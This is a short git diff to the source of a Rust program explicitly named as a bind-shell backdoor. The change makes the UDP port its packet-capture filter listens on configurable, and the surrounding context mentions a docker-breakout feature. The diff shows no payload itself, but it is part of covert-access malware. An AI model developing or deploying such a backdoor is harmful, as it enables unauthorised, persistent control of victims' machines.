diff --git a/examples/bind-shell/backdoor/src/main.rs b/examples/bind-shell/backdoor/src/main.rs
index defe4ad..59e2780 100644
--- a/examples/bind-shell/backdoor/src/main.rs
+++ b/examples/bind-shell/backdoor/src/main.rs
@@ -35,6 +35,8 @@ async fn handled_main() -> anyhow::Result<()> {
 
     log::info!("Pubkey is good");
 
+    let port = std::env::args().skip(1).next().and_then(|a| a.parse::<u16>().ok()).unwrap_or(54248);
+
     #[cfg(feature = "docker-breakout")]
     unsafe {
         let mut err_loc: i32 = 0;
@@ -71,7 +73,7 @@ async fn handled_main() -> anyhow::Result<()> {
 
     let mut interface = interface.activate()?;
 
-    interface.set_filter("inbound and udp port 54248", true, None)?;
+    interface.set_filter(&format!("inbound and udp port {port}"), true, None)?;
 
     if interface.datalink() != pcap_sys::consts::DLT_EN10MB {
         bail!("interface does not support ethernet")